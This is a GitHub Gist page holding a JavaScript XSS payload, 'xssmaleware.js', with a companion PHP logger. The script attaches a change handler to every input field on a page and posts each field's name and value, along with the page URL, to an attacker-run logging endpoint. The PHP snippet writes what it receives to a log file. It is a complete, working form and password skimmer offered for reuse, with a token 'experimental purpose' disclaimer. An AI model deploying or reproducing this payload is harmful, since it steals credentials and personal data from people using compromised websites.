Created
June 28, 2020 14:07
-
-
Save j3rrykh4n/88056607e67bb5410e8ccee836aadf33 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* xssmaleware.js | |
| * XSS payload for harvesting user inputs! | |
| * By Anik Hasibul (github.com/AnikHasibul) | |
| * Change the $_config.url as your own | |
| * Only for experimental purpose | |
| */ | |
| var $_config = { | |
| "url":"http://myMaliciousLogDomain.xom/xsslogger.php" /*EDIT THIS MUST */ | |
| } | |
| /* CODE FOR xsslogger.php */ | |
| /* | |
| <?php | |
| file_put_contents("xss.log",$_POST["XssGhost"]."\n",FILE_APPEND); | |
| header("Access-Control-Allow-Origin: *"); | |
| ?> | |
| */ | |
| "use strict"; | |
| var $_inputFields = document.querySelectorAll("input"); | |
| for(i=0; i< $_inputFields.length; i++) { | |
| var $_c=$_inputFields[i]; | |
| $_c.onchange = function(){ | |
| var tag = "" | |
| if(this.id){ | |
| tag = "ID="+this.id; | |
| } else if (this.name) { | |
| tag = "NAME="+this.name; | |
| } else { | |
| tag = "unknown"; | |
| } | |
| $_send({"tag":tag,"data":this.value,"source":location.href}); | |
| } | |
| } | |
| if(window.XMLHttpRequest) { | |
| var $_sync = new XMLHttpRequest(); | |
| } else { | |
| var $_sync = new ActiveXObject("Microsoft.XMLHTTP"); | |
| } | |
| function $_send(obj) { | |
| d = JSON.stringify(obj); | |
| d = "XssGhost="+d; | |
| $_sync.open("POST",$_config.url+"?"+Math.random(), true); | |
| $_sync.setRequestHeader("Content-type","application/x-www-form-urlencoded"); | |
| $_sync.send(d); | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment